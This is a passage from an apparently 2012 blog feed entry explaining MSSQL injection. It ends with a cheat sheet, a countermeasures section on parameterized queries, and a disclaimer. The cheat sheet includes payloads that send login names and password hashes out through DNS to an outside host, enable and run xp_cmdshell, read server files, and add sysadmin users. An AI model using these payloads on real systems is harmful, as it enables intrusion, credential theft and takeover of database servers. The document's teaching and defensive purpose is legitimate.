/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Avoiding Quotes&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT char(65)+char(66) — returns AB&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Time Delay&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; WAITFOR DELAY &#39;0:0:5&#39; — pause for 5 seconds&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Make DNS Requests&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; declare @host varchar(800); select @host = name FROM master..syslogins; exec(&#39;xp_getfiledetails &#39;&#39;\\&#39; + @host + &#39;\c$\boot.ini&#39;&#39;&#39;); — nonpriv, works on 2000&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; declare @host varchar(800); select @host = name + &#39;-&#39; + master.sys.fn_varbintohexstr(password_hash) + &#39;.2.pentestmonkey.net&#39; from sys.sql_logins; exec(&#39;xp_fileexist &#39;&#39;\\&#39; + @host + &#39;\c$\boot.ini&#39;&#39;&#39;); — priv, works on 2005&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; – NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Command Execution&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC xp_cmdshell &#39;net user&#39;; — priv&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; On MSSQL 2005 you may need to reactivate xp_cmdshell first as it&#39;s disabled by default:&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC sp_configure &#39;show advanced options&#39;, 1; — priv&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; RECONFIGURE; — priv&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC sp_configure &#39;xp_cmdshell&#39;, 1; — priv&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; RECONFIGURE; — priv&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Local File Access&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; CREATE TABLE mydata (line varchar(8000));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; BULK INSERT mydata FROM &#39;c:\boot.ini&#39;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; DROP TABLE mydata;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Hostname, IP Address&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; SELECT HOST_NAME()&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Create Users&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC sp_addlogin &#39;user&#39;, &#39;pass&#39;; — priv&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Drop Users&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC sp_droplogin &#39;user&#39;; — priv&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Make User DBA&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; EXEC master.dbo.sp_addsrvrolemember &#39;user&#39;, &#39;sysadmin; — priv&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; Location of DB files&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; TODO&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; __________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[0x06] - SQL Injection Countermeasures&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Main cause of SQL injection vulnerability is input validation. Many web developers do not provide&lt;br /&gt;proper mechanism in order to sanitize any form of input. So, attackers take advantage of this point and gain access&lt;br /&gt;to many databases. There are solutions to prevent SQL injection vulnerability.&lt;br /&gt;&lt;br /&gt;- Use whilelist input: because we cannot know all of bad inputs, so the efficient way is to allow only our known-valid input&lt;br /&gt;- Check input type: in some cases, attackers inject string into numeric input field or inject numeric into string input field,&lt;br /&gt;these may cause SQL injection vulnerability&lt;br /&gt;- Escape database metacharacters: use / in order to escape database metacharacters by prepending / in front of metacharaters.&lt;br /&gt;- Don&#39;t ignore any ways of input: attackers can manipulate input to exploit SQL vulnerabilities, so you must not care only query string but also headers,&lt;br /&gt;cookies and form fields as well&lt;br /&gt;- Use Parameterized Queries: MSSQL provides API for handling inputs which can help us to prevent SQL injection.&lt;br /&gt;This mechanism is called &quot;Parameterized Queries&quot;.&lt;br /&gt;&lt;br /&gt;The following two code samples illustrate the difference between an unsafe query dynamically constructed out of&lt;br /&gt;user data, and its safe parameterized counterpart.&lt;br /&gt;&lt;br /&gt;In the first, the user-supplied name parameter is embeded directly into a SQL statement, leaving the&lt;br /&gt;application vulnerable to SQL injection:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//define the query structure&lt;br /&gt;string queryText = &quot;select ename,sak from emp where ename =&#39;&quot;;&lt;br /&gt;&lt;br /&gt;//concatenate the user-supplied name&lt;br /&gt;queryText += request.getParameter(&quot;name&quot;);&lt;br /&gt;queryText += &quot;&#39;&quot;;&lt;br /&gt;&lt;br /&gt;//execute the query&lt;br /&gt;stmt = con.createStatement();&lt;br /&gt;rs = stmt.executeQuery(queryText);&lt;br /&gt;&lt;br /&gt;In the second example, the query structure is defined using a question mark as a placeholder&lt;br /&gt;for the user-supplied parameter. The prepareStatement method is invoked to interpret this, and fix the structure&lt;br /&gt;of the query that is to be executed. Only then is the setString method used to specify the actual value of&lt;br /&gt;the parameter. Because the query&#39;s structure has already been fixed, this value can contain any data at all,&lt;br /&gt;without affecting the structure. The query is then executed safely:&lt;br /&gt;&lt;br /&gt;Code:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//define the query structure&lt;br /&gt;String queryText = &quot;select ename,sal from emp where ename = ?&quot;;&lt;br /&gt;&lt;br /&gt;//prepare the statement through DB connection &quot;con&quot;&lt;br /&gt;stmt = con.prepareStatement(queryText);&lt;br /&gt;&lt;br /&gt;//add the user input to variable 1 (at the first ? placeholder)&lt;br /&gt;stmt.setSting(1, request.getParameter(&quot;name&quot;));&lt;br /&gt;&lt;br /&gt;//execute the query&lt;br /&gt;rs = stmt.executeQuery();&lt;br /&gt;&lt;br /&gt;__________________&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[0x07] - References&lt;br /&gt;&lt;br /&gt;[1] Error based SQL injection - a true story: AnalyseR&lt;br /&gt;[2] Advanced SQL Injection In SQL Server Applications: Chris Anley&lt;br /&gt;[3] ASCII Encoded/Binary String Automated SQL Injection Attack: Michael Zino&lt;br /&gt;[4] http://pentestmonkey.net&lt;br /&gt;[5] http://www.owasp.org&lt;br /&gt;[7] http://www.google.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;[0x08] - Greetz To&lt;br /&gt;&lt;br /&gt;Greetz : Mom &amp;amp; Dad, coded32, Ion, Eviscreation, Archit, Hex00010, TOF, 4hm3d-M4X, ZimoX, Christelle, Luffy Media, Joe, DIABLEFREE2008, code 5, u-neek&lt;br /&gt;Special Thx : google.com&lt;br /&gt;----------------------------------------------------&lt;br /&gt;This paper is written for Educational purpose only. The authors are not responsible for any damage&lt;br /&gt;originating from using this paper in wrong objective. If you want to use this knowledge with other person systems,&lt;br /&gt;you must request for consent from system owner before&lt;/stdin&gt;&lt;/stdin&gt;&lt;/div&gt;
</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/4054057415264344115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1037799212658950396/posts/default/4054057415264344115'/><link rel='alternate' type='text/html' href='http://infosec-regeneration.blogspot.com/2012/09/full-explanation-of-mssql-injection.html' title='Full Explanation Of MSSQL Injection '/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/05798090312725633022</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author></entry></feed>